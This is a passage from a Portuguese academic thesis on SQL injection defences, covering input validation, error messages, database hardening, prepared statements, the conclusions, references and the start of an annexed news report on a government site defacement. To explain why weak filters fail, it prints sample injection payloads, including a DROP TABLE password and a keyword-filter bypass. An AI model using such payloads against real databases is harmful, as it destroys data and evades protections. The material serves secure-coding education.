Durante a pesquisa foram encontradas várias técnicas de defesa contra SQL
Injection em vários sites, revistas e artigos. O grande problema é que muitas destas
técnicas exibem métodos de proteção que possuem falhas graves e que podem dar falsa
sensação de segurança aos administradores de sites que as adotarem. Nesta seção foram
reunidas algumas das melhores técnicas de proteção contra invasões por SQL Injection
com o intuito de auxiliar programadores web a construírem sistemas realmente seguros
contra este tipo de ataque.
6.1 Validação de entradas do usuário
Existem várias formas e procedimentos para se defender de um ataque por SQL
Injection. A primeira forma, e mais óbvia, é ter certeza que as aplicações web estão
validando corretamente as entradas cedidas pelos usuários (LITCHFIELD et al, 2005).
É seguro dizer que a maioria das explorações de segurança envolvem o aplicativo-alvo
verificando incorretamente os dados de entrada ou, em alguns casos, não verificando
nada. É importante que uma aplicação valide todas as suas variáveis que entram em
contato com o BD, principalmente as variáveis enviadas por usuários, evitando assim
que algum código malicioso chegue a ser executado no servidor. Segundo Kost (2004)
todo literal passado como parâmetro deve ser validado. Muitas aplicações web utilizam
campos hidden e outras técnicas que também precisam ser validadas. Nunca se deve
confiar em entradas do usuário, pois mesmo um usuário bem intencionado pode inserir
uma combinação de caracteres que pode afetar o servidor. "Toda entrada é mal
intencionada até que se prove o contrário” (HOWARD & LEBLANC, 2005, p.327).
A validação de entradas pode ser um assunto complexo, pois sua implementação
pode diminuir o desempenho da aplicação e não acrescenta em nada a funcionalidade da
mesma. Porém segundo Howard & Leblanc (2005, p.328), nenhum sistema torna-se
menos confiavelmente responsivo que um sistema invadido, ou seja, é importante que o
programador pense tanto em desempenho quanto em validar as variáveis do sistema
para que o mesmo seja confiável.
Segundo Anley (2002) e Litchfield et al (2005) existem diferentes meios de se
programar a validação de dados, são eles: tentar modificar os dados para se tornarem
74
válidos, rejeitar entradas reconhecidas como maliciosas e aceitar somente entradas
conhecidas como “boas”.
Modificar as entradas do usuário pode ser perigoso, essa técnica de proteção
geralmente é construída substituindo caracteres conhecidos como maliciosos por outros
caracteres. Por exemplo, se o caractere apóstrofe (‘) é inserido juntamente com a
entrada de um usuário, e aplicação o substitui por aspas (“), significa que em qualquer
consulta SQL esta entrada será tratada como um caractere apóstrofe. Esta tentativa tem
o benefício de processar corretamente nomes que possuem apóstrofes (O'Neill, D'Carlli,
dentre outros). Segundo Litchfield et al (2005) o uso de escape de caracteres pode ser
perigoso se limites ao tamanho das variáveis estiverem aplicados a qualquer um dos
campos de entrada. Limites de tamanho podem ser aplicados para reduzir o risco de
ataques por buffer overflow. De acordo com Litchfield et al (2005) supondo que
caracteres apóstrofe sejam substituídos e o campo nome de usuário seja limitado a 25
caracteres, se invasor insere o nome presente no Código 49.
teste'''''''''''
Código 49 – Nome de usuário
A aplicação escapa das apóstrofes substituindo-as por aspas, e trunca o resultado
ao limite de 25 caracteres. A apóstrofe final é removida, significando que a apóstrofe
anterior não foi substituída. O literal resultante é o do Código 50.
teste'''''''''''''''''''''
Código 50 – Literal resultante
Que permite que expressões SQL sejam injetadas no campo senha. Então se
senha for igual ao Código 51 toda a tabela de usuários será apagada.
; DROP TABLE usuarios--
Código 51 – Senha maliciosa
A pesquisa efetiva formada pela aplicação será como no Código 52.
75
SELECT * FROM usuarios WHERE nome = 'teste''''''''''''''''''''' AND
senha = '; DROP TABLE usuarios--';
Código 52 – Pesquisa formada pela aplicação
A utilidade de pesquisas injetadas é restrita pelo limite de tamanho, mas é
possível deletar tabelas ou desligar o servidor com pequenas consultas (LITCHFIELD
et al, 2005). Cuidados devem ser tomados quando se estiver escrevendo os códigos de
análise de entrada que irão escapar caracteres que não são deletados pelo limite de
tamanho.
A idéia de rejeitar entradas conhecidas como maliciosas consiste em rejeitar
entradas que contenham palavras chave da linguagem SQL como SELECT, DROP,
ALTER, dentre outros. Segundo Anley (2002) essa idéia pode não funcionar, pois más
entradas mudam o tempo todo com o desenvolvimento de novas técnicas de ataque.
Além disso, existem muitas formas de se escrever um mesmo comando SQL de forma
que ele passe pela autenticação de segurança. Por exemplo, um comando SELECT pode
ser burlado por códigos alternativos como no Código 53.
‘ ‘SEL’ + ‘ECT *’+ ‘FR’ + ‘OM usuarios’ --
Código 53 – Burlando o comando SELECT
Injetando o conteúdo do Código 53 o comando SELECT será executado
normalmente no servidor passando pela verificação do filtro da palavra SELECT.
Segundo Litchfield et al (2005) comandos SQL, caracteres e palavras podem ser
escritos em código hexadecimal escapando assim de qualquer verificação por palavras
chave ou maliciosas e sendo executados pelo BD normalmente.
A melhor forma segundo Anley (2002) e Litchfield et al (2005) de se
implementar a validação de entradas do usuário contra SQL Injection é permitir somente
entradas conhecidas como “boas”. Porém para Anley (2002) este pode ser o método
mais difícil de implementar e para Litchfield et al (2005) uma possível desvantagem de
se utilizar essa técnica é que filtros definidos impropriamente podem bloquear acessos a
usuários. A utilização desta técnica segue um modelo sistemático de checagem de tipos
de variáveis e caracteres permitidos. Por exemplo, se uma variável recebe um número
76
de telefone, ela só deverá aceitar dígitos entre 0 e 9, ou se uma variável recebe o nome
de uma pessoa ela deverá aceitar somente caracteres em maiúsculo ou minúsculo entre
as letras A e Z. Além de utilizar essa técnica também é importante limitar o tamanho
das variáveis e checar o formato dos valores enviados ao BD para diminuir a
possibilidade de ataques mais graves. “Valide todos os seus dados do lado do servidor
pelo menos por conteúdo, tamanho e formato” (MCDONALD, 2002).
O modelo de implementação da validação de entrada de dados em uma aplicação
deve ser estudado pelo programador a fim de adequar o mesmo ao funcionamento da
sua aplicação web. É importante que todas as regras sejam perfeitamente testadas e que
a validação seja feita corretamente.
6.1.1 Validação com HTML e Javascript
Muitos programadores inexperientes realizam a validação da entrada de dados
através da linguagem Javascript ou pela limitação do tamanho das entradas em campos
de formulários HTML. Porém, a linguagem Javascript e as páginas HTML atuam
somente do lado do cliente (client side), o que facilita o ataque de invasores. Códigos
HTML e Javascript podem ser removidos do código fonte da página HTML, fazendo
com que os dados maliciosos enviados pelo invasor cheguem ao BD sem receber sua
devida validação. Para McDonald (2002) a validação de dados deve ser feita sempre do
lado do servidor (server side).
“Checar dados do lado do cliente com Javascript é, em minha opinião, uma
completa perda de tempo. Tudo o que o invasor necessita fazer é baixar sua
página como um arquivo HTML, remover os códigos Javascript e executar
os comandos da máquina dele” (MCDONALD, 2002).
Segundo McDonald (2002) para uma maior segurança dos dados do BD é
aconselhável ao desenvolvedor não utilizar nomes reais de colunas da base de dados
como nomes de campos de formulários HTML, pois isto facilitará a vida do invasor.
Caso deseje, o desenvolvedor pode utilizar a linguagem Javascript para
incrementar sua segurança ou para dificultar ao máximo o trabalho realizado pelo
invasor, mas de forma alguma a validação de dados por Javascript deve ser utilizada
como a única forma de defesa contra ataques por SQL Injection.
77
6.2 Mensagens de erro
As mensagens de erro retornadas por aplicações web ao usuário estão entre as
ferramentas mais úteis aos invasores que desejam explorar tais aplicações. A forma
mais eficiente de ataques por SQL Injection (SQL Injection baseada em erros) é
realizada através da análise do conteúdo das mensagens de erro geradas por aplicações
web. “Se um invasor não pode obter o código fonte de uma aplicação, as mensagens de
erro se tornam extremamente importantes para um ataque de sucesso” (KOST, 2004).
Segundo Howard & Leblanc (2005, p.605) é necessário pesar o conselho que
será dado aos invasores. Mensagens de erro devem somente informar ao usuário que
houve uma falha na execução da ação solicitada e não retornar mais nenhuma
informação que possa comprometer o BD e toda a aplicação web. “Testes e análises
devem ser realizados para determinar se a aplicação retorna mensagens de erros
detalhadas” (KOST, 2004). Por exemplo, se um invasor testar o campo da Figura 19
inserindo uma apóstrofe (‘) no campo CPF, a mensagem de erro da Figura 20 será
retornada como resposta.
Figura 19 - Teste de vulnerabilidade
78
Figura 20 - Mensagem de erro com excesso de informações
Certamente a situação gerada na Figura 19 não era esperada pelo desenvolvedor
da aplicação que além de não verificar a integridade das entradas recebidas do usuário
não configurou as mensagens de erro retornadas ao usuário corretamente. A mensagem
de erro da Figura 20 revela muitas informações úteis ao invasor, como defeitos de
programação, o gerenciador de banco de dados utilizado (SQL Server), a linguagem de
programação utilizada para se conectar ao BD (ASP) e revela a existência da
vulnerabilidade à SQL Injection no campo atacado. Segundo Howard & Leblanc (2005,
p.605), em situações como essa a aplicação web deve retornar somente uma mensagem
de erro como “Falha na solicitação”, e registrar o erro no log de eventos para que o
administrador possa ter ciência do que está acontecendo. De acordo com Friedl (2006)
as mensagens padrão de erros de alguns sistemas incluem informações de defeitos de
programação, e isto não pode ser mostrado a usuários. Esta informação deve ser restrita
somente aos desenvolvedores. “Se estiver escrevendo um servidor, registre mensagens
de erro detalhadas em log onde o administrador do sistema possa lê-las” (HOWARD
& LEBLANC, 2005, p.605).
A configuração correta de mensagens de erro ou a ausência delas não imuniza
uma aplicação web contra ataques por injeção de código SQL. Este é somente mais um
79
procedimento para auxiliar na proteção contra ataques por SQL Injection e dificultar a
ação de usuários mal-intencionados.
6.3 Configurações no Banco de Dados
De acordo com Litchfield et al (2005), a preocupação com a segurança e
configuração do gerenciador do banco de dados é tão importante quanto construir
códigos seguros para a aplicação web. Se a validação de dados não funcionar
corretamente, um banco de dados bem configurado pode minimizar os danos causados
por ataques de injeção de SQL.
A primeira medida de segurança, e mais importante, que um programador deve
realizar é certificar-se de que a conta utilizada para conectar-se ao BD não tenha
privilégios de administrador do sistema. “Todos os aplicativos devem ser executados
com o menor privilégio para fazer o trabalho e não mais” (HOWARD & LEBLANC,
2005, P.83). É importante que a aplicação não se conecte com privilégios altos ao BD,
pois se a conexão criada com esses privilégios tiver um bug no código SQL, que
permita ataques por SQL Injection, o invasor poderá realizar todas as tarefas que o
administrador do BD pode utilizar. Dentre as tarefas que uma conta de administrador de
um BD pode realizar estão:
•
Excluir, alterar ou incluir qualquer banco de dados, tabelas, ou dados de
tabelas no sistema;
•
Excluir registros em logs;
•
Alterar stored procedures, views ou triggers do sistema;
•
Adicionar novos usuários do banco de dados ao sistema;
•
Executar stored procedures e funções administrativas que permitam a
execução de comandos do sistema operacional ou de rede.
O potencial de danos causados a uma aplicação invadida que se conecte como
administrador é ilimitado (HOWARD & LEBLANC, 2005, p.382). Gerenciadores de
banco de dados como SQL Server, MySQL, Oracle e outros, possuem ferramentas que
permitem ao usuário executar comandos de sistema (cmd.exe por exemplo), podendo
assim prejudicar o sistema operacional do servidor de banco de dados e utilizar o
80
servidor como base de ataque a outros computadores da rede (LITCHFIELD et al,
2005). Executando a aplicação com o menor privilégio necessário para realizar as
operações do BD, o programador diminui os possíveis danos que podem ser causados
ao sistema por um invasor. Uma conta de usuário que possua poucos privilégios pode
modificar somente dados e tabelas do banco de dados ao qual está conectado, não tendo
permissão para modificar outros BDs do mesmo servidor e nem atacar o sistema
operacional ou outras máquinas da rede. “Qualquer falha séria de software, como um
estouro de buffer, que possa levar a questões de segurança causará menos danos se o
software comprometido estiver sendo executado com poucos privilégios” (HOWARD &
LEBLANC, 2005, p.211).
De acordo com Anley (2002), além de se conectar com o menor privilégio
possível para consultar o banco de dados, é aconselhável remover contas desnecessárias,
verificar se todas as contas de usuário possuem senha e se certificar de que todas as
senhas sejam fortes (evitando ataques de força bruta para quebrar senhas). Segundo
McDonald (2002) uma boa medida de segurança é utilizar nomes de tabelas e colunas
originais e difíceis de serem adivinhadas, pois nomes comuns facilitam o trabalho de
invasores em recuperar os dados do BD atacado.
É muito importante instalar sempre as atualizações de segurança mais recentes
disponíveis para o programa gerenciador de Banco de Dados (SQL Server, MySQL,
Oracle, PostgreSQL, entre outros). As atualizações de segurança servem para corrigir
bugs largamente conhecidos por invasores em programas e, dessa forma, aumentar a
segurança da aplicação. “Todas as atualizações de segurança deveriam ser aplicadas
para prevenir o aumento de ataques” (LITCHFIELD et al, 2005).
A maioria dos gerenciadores de banco de dados está repleta de funções e stored
procedures nativas para facilitar a utilização do BD. Porém, essa abundância de funções
nem sempre é útil ao programador, mas pode ser extremamente útil para invasores.
Existem muitas funções e stored procedures nativas de gerenciadores de banco de
dados que permitem ataques por SQL Injection (LITCHFIELD et al, 2005). Além de
ataques por SQL Injection muitas destas funções possuem vulnerabilidades a buffer
overflows (KOST, 2004). Segundo Litchfield et al (2005) a severidade dessa falha é
pequena, pois todos os códigos SQL injetados irão executar com os privilégios do
81
usuário atual. Porém, se este usuário estiver conectado com privilégios elevados
executará qualquer destas funções sem dificuldades. É extremamente aconselhável ao
programador que desative ou remova todas as funções ou stored procedures extras
existentes no seu BD que não tenham utilidade, se prevenindo assim que futuramente
invasores se aproveitem destas para realizar um ataque. “Todas as funções que não são
absolutamente necessárias à base de dados devem ser restritas” (KOST, 2004).
Segundo McDonald (2002) outras medidas de segurança necessárias ao BD são:
•
Analisar o log do BD;
•
Analisar arquivos do servidor;
•
Realizar backups periodicamente.
A análise do log do BD é necessária para verificar quais dados e comandos estão
sendo enviados ao servidor. Através do log o administrador pode identificar tentativas
de ataque à sua aplicação e se foram realizadas operações adversas no sistema. Também
é necessário que o administrador preste atenção ao aparecimento de arquivos incomuns
no servidor. Segundo McDonald (2002) esses arquivos podem ser criados por invasores
para serem utilizados temporariamente para armazenar dados recuperados do BD
atacado. E por último é extremamente aconselhável ao administrador do BD realizar
backups periodicamente, evitando assim que seus dados sejam definitivamente
apagados.
6.4 Expressões SQL Preparadas e Stored Procedures
A forma mais eficiente de se proteger de ataques por SQL Injection é utilizar
expressões preparadas (prepared statements) ou expressões parametrizadas, e também,
usar stored procedures que embora não sejam imunes, são mais difíceis de serem
atacados. Segundo Howard et al (2005, p.55), nunca se deve utilizar concatenação de
strings ou substituição de strings para construir expressões SQL. As expressões
preparadas são suportadas pela maioria das linguagens de programação (Java, PHP,
ASP, dentre outras) utilizadas para realizar a troca de informações entre o servidor web
e o banco de dados e são caracterizadas pelo uso de parâmetros de ligação (bind). De
acordo com Friedl (2006) parâmetros de ligação são suportados por essencialmente
82
todas as interfaces de programação de banco de dados. Nesta técnica, uma expressão
SQL é criada com marcadores de lugar ou placeholders, geralmente representados por
um caractere ponto de interrogação (?) para cada parâmetro, que são compilados
(“preparados”, na linguagem SQL) em um formulário interno. Mais tarde, esta consulta
preparada é “executada” como uma lista de parâmetros. No Código 54 podemos
visualizar um exemplo de uma consulta SQL insegura.
SQL = "SELECT * FROM usuario WHERE nome = ‘nomeusuario' AND senha =
'senhausuario’ “;
Código 54 – Consulta insegura
A expressão formada no Código 54 é formada por concatenação de strings. Isto
possibilita que códigos SQL sejam injetados nas variáveis enviadas pelo usuário e que
sejam interpretados como comandos SQL causando inúmeros estragos à base de dados.
O mesmo trecho pode ser construído de forma segura utilizando expressões preparadas.
A forma segura para esta expressão pode ser visualizada no Código 55 (baseando-se na
linguagem Java).
ExpressaoPreparada ep = conexao.ExpressaoPreparada( "SELECT *FROM
usuario WHERE nome = ? AND senha = ?");
ep.TransformaString(1, nomeusuario);
ep.TransformaString(2, senhausuario);
ResultadoTransformacao rt = ep.executaConsulta();
Código 55 – Consulta segura
No Código 55, o nome e a senha do usuário são dados obtidos do formulário do
usuário e são passados como parâmetros nos pontos de interrogação (?) em suas
respectivas ordens, sendo que em nenhum ponto estas variáveis têm seu conteúdo
interpretado como comandos SQL. A função TransformaString tem a tarefa de
transformar o conteúdo das variáveis em strings comuns, evitando que qualquer
conteúdo malicioso enviado pelo usuário seja interpretado pelo BD. Segundo Friedl
(2006) apóstrofes (‘), vírgulas (,), barras invertidas (\), sinais de comentário (--) em
SQL, dentre outros, não terão nenhum impacto, pois são somente dados. Não existe
nada para contestar, então a aplicação está largamente imune a ataques por SQL
83
Injection. Segundo Howard & Leblanc (2005, p.384), além de serem mais seguras, as
consultas parametrizadas são mais rápidas do que criar manualmente uma consulta SQL
no código.
Uma forma ainda mais segura seria a utilização de stored procedures com
parametrização de consultas. De acordo com Friedl (2006) quando uma base de dados
os suporta, para benefício da aplicação é recomendável à utilização de stored
procedures para realizar acessos, o que pode eliminar a SQL por inteiro do código dos
scripts que interagem com o BD (assumindo que os stored procedures são escritos
corretamente).
“Chamar stored procedures é mais rápido e mais seguro do que utilizar a
concatenação de strings, pois os nomes no banco de dados e na tabela não
são expostos e as stored procedures são otimizadas pelo mecanismo do
banco de dados” (HOWARD & LEBLANC, 2005, p.387, 388).
É possível escrever um stored procedure que construa consultas dinâmicas. Isto
os torna vulneráveis a SQL Injection. O correto é escrever stored procedures com o uso
de expressões SQL preparadas ou com variáveis de ligação para prover essa proteção.
Se usadas corretamente, as consultas parametrizadas, sozinhas ou em conjunto
com stored procedures, consistem na mais forte arma contra ataques que utilizam a
técnica de invasão por SQL Injection. E se aliadas a outras técnicas, como uma boa
configuração do servidor de banco de dados, o cuidado com as mensagens de erro
reveladas ao usuário e a validação das entradas do usuário, tais tipos de consulta
tornarão uma base de dados praticamente impossível de ser invadida pela técnica de
injeção de códigos SQL. “Este é provavelmente o passo simples mais importante que se
pode utilizar para tornar uma aplicação web segura” (FRIEDL, 2006).
84
7. CONCLUSÕES
Através da realização deste trabalho foi possível identificar a natureza e a
periculosidade da técnica de invasão por SQL Injection. Essa técnica se aproveita da
ingenuidade e até despreparo de programadores ou desenvolvedores de sistemas web
que, sem realizar nenhum procedimento de segurança, enviam dados a seus servidores
de banco de dados.
Um programa presente no servidor web pode enviar comandos SQL para serem
executados no BD. O problema é que na maioria das vezes esses comandos são
concatenados a dados enviados por usuários. Isso permite que comandos SQL
maliciosos sejam incorporados ao código original presente no script e sejam executados
no servidor de banco de dados, resultando em um ataque de SQL Injection.
As pesquisas realizadas demonstraram que praticamente todas as linguagens de
programação que realizam conexão com um banco de dados (PHP, ASP, Java, Perl,
dentre outras) podem ser atacadas através da técnica de injeção de código SQL, assim
como a grande maioria de gerenciadores de banco de dados (SQL Server, MySQL,
Oracle, dentre outros) pode ser afetada por este ataque.
O SQL Server é um dos mais sofisticados gerenciadores, porém, se mal
configurado, pode ser o mais útil em ataques de SQL Injection, pois possui muitos
extended stored procedures que podem ser utilizados em ataques e retorna mensagens
de erro extremamente detalhadas sobre o BD ao invasor. O MySQL também possui
vulnerabilidades à SQL Injection, como funções que escrevem e lêem valores de
arquivos presentes no servidor e também retorna mensagens de erros úteis aos
invasores, mas suas mensagens de erro são menos detalhadas, o que dificulta um pouco
os ataques. O gerenciador Oracle pode ser considerado um dos mais seguros de sua
categoria contra ataques de SQL Injection e sua principal ferramenta de proteção é o uso
de variáveis de ligação (bind), porém o administrador do BD pode optar por não utilizálas tornando o gerenciador tão vulnerável quanto outros gerenciadores. Além disso,
assim como o SQL Server, o Oracle possui stored procedures e funções nativas que, se
não utilizadas corretamente ou não desativadas, são extremamente úteis a invasores.
Praticamente todos os gerenciadores de banco de dados possuem vulnerabilidades a
85
SQL Injection. A estabilidade dos sistemas que os utilizam estará nos procedimentos de
segurança que o(s) administrador(es) utilizar(em) no sistema.
A maioria das aplicações web que realizam operações em conjunto com um
banco de dados possuem vulnerabilidades à SQL Injection. Durante a pesquisa foi
detectado que pelo menos um dentre três sites que realizam conexão com um BD
possuem vulnerabilidades à técnica de injeção de SQL. Alguns técnicos de segurança
importantes que escreveram grandes artigos técnicos sobre este método de invasão,
como Litchfield (2005) e Chapela (2005), chegaram a afirmar que aproximadamente
60% das aplicações web que se conectam a um BD são vulneráveis. No Brasil quase
não existe documentação sobre esse método de invasão, e os poucos artigos
originalmente brasileiros encontrados na Internet (geralmente em sites de segurança)
além de não darem importância a esta técnica de invasão oferecem medidas de proteção
ineficientes. Isso resulta num grande número de sites brasileiros vulneráveis a esse
ataque, a exemplo do site do Ministério da Justiça (ANEXO A) que sofreu ataques dessa
classe.
Na elaboração deste trabalho mostrou-se patente a importância da utilização de
código seguro na elaboração de qualquer aplicação. A educação e conscientização do
programador para a realização de testes de segurança em quaisquer das suas aplicações
é essencial. Todas as áreas de uma aplicação web devem receber os mesmos tratamentos
de segurança e não somente áreas de autenticação, pois uma pequena falha encontrada
por um hacker em qualquer área da aplicação pode causar danos irreparáveis a todo o
sistema.
“Para construir aplicações seguras, os desenvolvedores devem reconhecer
que a segurança é um componente fundamental de todo produto de software
e que as proteções devem ser introduzidas ao software enquanto se está
programando (SPETT, 2005)”.
Uma série de práticas defensivas é útil contra ataques de SQL Injection. Uma
delas é a correta validação de todos os dados enviados pelos usuários, aceitando
somente os dados desejados pela aplicação. Também é importante ao administrador
seguir várias configurações de segurança em seu servidor de banco de dados para
dificultar ao máximo os ataques, por exemplo, nunca permitir que a aplicação web se
conecte ao BD com privilégios de administrador (sa no SQL Server, root no MySQL,
86
dentre outros). É necessário também que o administrador não permita que as mensagens
de erro retornadas por sua aplicação revelem dados importantes a invasores. Mas a
medida de segurança mais importante de todas é a utilização de expressões preparadas.
Expressões preparadas (prepared statments) são formadas por parâmetros de ligação
(bind) que são transformados em strings. Esses parâmetros recebem os dados enviados
pelo usuário, sendo assim o conteúdo das variáveis enviadas pelo usuário será tratado
como uma string e nunca será interpretado pelo BD. É aconselhável nunca utilizar
strings dinâmicas ou concatenação de strings, substituindo-as pelo uso de stored
procedures, que escritos corretamente em conjunto com expressões preparadas
constituem uma forte ferramenta contra a injeção de SQL. Se um administrador
conseguir unir todas estas práticas de segurança terá um sistema web extremamente
forte contra ataques de SQL Injection.
Em todo o trabalho foi possível observar que a técnica de SQL Injection existe
simplesmente porque muitos programadores não se preocupam com a segurança de seus
sistemas. No Brasil, em razão da falta de divulgação e informação sobre SQL Injection,
nota-se a necessidade de alarmar os desenvolvedores de sistemas para web sobre a
gravidade desta forma de ataque e orientá-los corretamente quanto às precauções que
devem ser tomadas para eliminar as vulnerabilidades aproveitadas por essa técnica de
invasão.
87
8. REFERÊNCIAS BIBLIOGRÁFICAS
ALFANTOOKH, Abdulkader A. An Automated Universal Server Level Solution For
Sql Injection Security Flaw, 2004. Disponível em:
<http://ieeexplore.ieee.org/iel5/9457/30014/01374401.pdf?tp=&arnumber=137440>.
Acesso em: 22 de agosto de 2006.
ANLEY, Chris. Advanced SQL Injection in SQL Server Applications, 2002.
Disponível em: < http://www.ngssoftware.com/papers/advanced_sql_injection.pdf>.
Acesso em: 30 de agosto de 2006.
ANLEY,
Chris.
Hackproofing
MySQL,
2004.
Disponível
em:
<www.nextgenss.com/papers/HackproofingMySQL.pdf>. Acesso em: 20 de
novembro de 2006.
ANLEY, Chris. (More) Advanced SQL Injection in SQL Server Applications, 2002.
Disponível em:
< http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf> . Acesso
em: 21 de agosto de 2006.
AZEVEDO, Ernani. PHP Seguro, 2003. Disponível em:
< http://santarem.procergs.com.br/tutorial/PROCERGS-PHP-Seguro.pdf >. Acesso
em: 20 de agosto de 2006.
BEAUCHEMIN, Bob; BERGLUND, Niels ; SULLIVAN, Dan. A First Look at SQL
Server 2005 for Developers. Boston: Addison-Wesley, 2004. Ebook.
BÔAS, Alexey A V; SANTOS, Leandro F S; ARRUDA, Flávio R; BLANCO, Eduardo
L S. CGI com PERL. Tatuapé: Érica, 2001.
BOYD, Stephen W & KEROMYTIS, Angelos D. SQLrand: Preventing SQL
Injection Attacks, 2004. Disponível em:
<http://www1.cs.columbia.edu/~angelos/Papers/sqlrand.pdf>. Acesso em: 25 de
agosto de 2006.
88
CERRUDO, César. Manipulating Microsoft SQL Server using SQL Injection, 2002.
Disponível em:
<http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_
Injection.pdf> . Acesso em: 25 de agosto de 2006.
CHAPELA,
Victor.
Advanced
SQL
Injection,
2005.
Disponivel
em:
<http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt>. Acesso em: 20
de novembro de 2006.
FAYÓ, Esteban Martinez. Advanced SQL Injection in Oracle databases, 2005.
Disponível em:
<http://securitypapers.globint.com.ar/oracle_security/AdvancedSQLInjectionInOrac
leDatabases.pdf>. Acesso em: 01 de dezembro de 2006.
FRIEDL, Steve. SQL Injection Attacks by example, 2006. Disponível em : <
http://www.unixwiz.net/techtips/sql-injection.html>. Acesso em : 10 de Dezembro
de 2006.
GOURLEY, David ; TOTTY Brian ; SAYER Marjorie ; REDDY Sailu ; AGGARWAL
Anshu. HTTP: The Definitive Guide. 2002. Gravenstein Highway (United States):
O'Reilly, 2002. Ebook.
HOTCHKIES, Cameron. Automating Blind SQL Exploitation, 2005. Disponível em:
<www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04hotchkies.pdf>. Acesso em: 20 de dezembro de 2006.
HOWARD, Michael & LEBLANC, David. Escrevendo Código Seguro. Porto Alegre:
Bookman, 2005. Págs. 83, 211, 327, 328, 378, 379, 382, 384, 387 388, 605.
HOWARD, Michael; LEBLANC, David; VIEGA, john. 19 Deadly Sins of Software
Security. Emeryville: McGraw-Hill/Osborne, 2005. Pág. 55.
JAVAFREE.ORG.
CGI
X
SERVLETS,
2003.
<http://www.javafree.org/javabb/viewtopic.jbb?t=1406>.
Dezembro de 2006.
Disponível
Acesso
em:
em:
01
de
89
KENNEDY, Bill & MUSCIANO, Chuck. HTML & XHTML: The Definitive Guide,
5th Edition. Gravenstein Highway (United States): O'Reilly, 2002. Ebook.
KOST, Stephen. An Introduction to SQL Injection Attacks for Oracle Developers,
2004. Disponível em:
<www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf>.
Acesso em: 15 de novembro de 2006.
KOU, Chenyuan & SPRINGSTEEL Frederick. The Security Mechanism In The
World Wide Web(WWW) And The Common Gateway Interface(CG1)Example of Central Police University Entrance Examination System, 1997.
Disponível em: < http://ieeexplore.ieee.org/xpl/freeabs_all.jsp?arnumber=626249>.
Acesso em: 25 de novembro de 2006.
LITCHFIELD, David; ANLEY, Chris; HEASMAN, John; GRINDLAY, Bill. The
Database Hacker’s Handbook. Indiana (United States of America): wiley
Publishing Inc, 2005. Ebook.
LITCHFIELD, David. Application assessments on IIS, 2000. Disponível em: <
http://www.blackhat.com/presentations/bh-europe-00/DavidLitchfield/David-bheurope-00.ppt>. Acesso em: 20 de agosto de 2006.
LITCHFIELD, David. SQL Injection and Data Mining through Inference, 2005.
Disponível
em:
<www.blackhat.com/presentations/bh-europe-05/bh-eu-05-
litchfield.pdf >. Acesso em: 20 de julho de 2006.
LITCHFIELD, David. Web application disassembly with ODBC error messages,
2001. Disponível em: < http://www.ngssoftware.com/papers/webappdis.doc>.
Acesso em: 15 de agosto de 2006.
MAOR, Ofer & SHULMAN, Amichai. Blind SQL Injection, 2003. Disponível em: <
http://www.imperva.com/application_defense_center/white_papers/blind_sql_server
_injection.html>. Acesso em: 10 de agosto de 2006.
90
MCDONALD, Stuart. SQL Injection: Modes of attack, defence, and why it matters,
2002. Disponível em:
<http://www.sans.org/reading_room/whitepapers/securecode/23.php>. Acesso em:
10 de janeiro de 2007.
MANUAL
DE
REFERÊNCIA
DO
MYSQL,
2006.
Disponível
em:
<
http://www.mysql.org/doc/refman/4.1/pt/privileges-provided.html>. Acesso em: 20
de novembro de 2006.
MILENKOVIC, Milena ; MILENKOVIC Aleksandar ; JOVANOV Emil. Using
Instruction Block Signatures to Counter Code Injection Attacks, 2005.
Disponível em:
<http://www.ece.uah.edu/~milenka/docs/milenkovic_can05.pdf>. Acesso em: 20 de
agosto de 2006.
OLLMANN, Gunter. Second-order Code Injection Attacks, 2004. Disponível em:
<http://www.ngssoftware.com/papers/SecondOrderCodeInjection.pdf>. Acesso em:
20 de agosto de 2006.
PIETRASZEK, Tadeusz & BERGHE, Chris Vanden. Defending against Injection
Attacks through Context-Sensitive String Evaluation, 2005. Disponível em:
<http://chris.vanderberghe.org/publications/csse_raid2005.pdf>. Acesso em: 20 de
agosto de 2006.
PUPPY, Rain Forest. How I hacked PacketStorm, 2000. Disponível em: <
http://archives.neohapsis.com/archives/win2ksecadvice/2000-q1/0085.html>.
Acesso em: 9 de agosto de 2006.
PUPPY, Rain Forest. NT ODBC remote compromisse, 1999. Disponível em :
<http://www.securiteam.com/windowsntfocus/2AVQ5QAQKM.html>. Acesso em :
8 de agosto de 2006.
RACCIATTI, Hérnan. Técnicas de SQL Injection Un Repaso, 2002. Disponível em:
<http://www.hernanracciatti.com.ar/document/Tecnicas%20de%20SQL%20Injectio
n%20-%20Un%20Repaso.pdf>. Acesso em: 25 de agosto de 2006.
91
RODRIGUES, Giordani. Site do Ministério da Justiça foi invadido, 2003. Disponível
em:
<http://www.infoguerra.com.br/infonews/talk/1044045346,10847,.shtml>.
Acesso em: 07 de agosto de 2006.
RUFINO, Nelson. Técnicas defensivas contra injeção de comandos, 2003. Disponível
em:
<http://www.infoguerra.com.br/infonews/viewnews.cgi?newsid1044032586,79974,/
>. Acesso em: 12 de julho de 2006.
SPETT, Kevin. Blind SQL Injection: Are your web applications vulnerable?, 2005.
Disponível em:
<http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf>. Acesso em:
15 de setembro de 2006.
SPETT, Kevin. SQL Injection: Are your web applications vulnerable?, 2002.
Disponível em:
< http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf>. Acesso em:
25 de agosto de 2006.
TAYLOR, G. Allen. SQL FOR DUMMIES (5th edition). Indiana (United States of
America): wiley Publishing Inc, 2003. Págs.7, 21, 45.
92
ANEXO A - SITE DO MINISTÉRIO DA JUSTIÇA FOI INVADIDO
31/1/2003 - 18:35 Giordani Rodrigues
(http://www.infoguerra.com.br/infonews/talk/1044045346,10847,.shtml)
O site do Ministério da Justiça (MJ) recebeu a indesejada visita de crackers pelo
menos duas vezes nos últimos dias. Nas duas ocasiões os atacantes deixaram sua marca,
desfigurando páginas do órgão. O ataque mais recente, assinado pelo grupo Ruffl3s,
aconteceu na madrugada desta quinta-feira. O anterior foi assumido pelo grupo ATH
(Against The Hell, isto é, “Contra o Inferno) e ocorreu no domingo. Os dois grupos são
brasileiros.
Até próximo de meio-dia de quinta-feira, o estrago ainda era visível numa das
páginas do Departamento Nacional de Trânsito (Denatran) presente no site do MJ. O
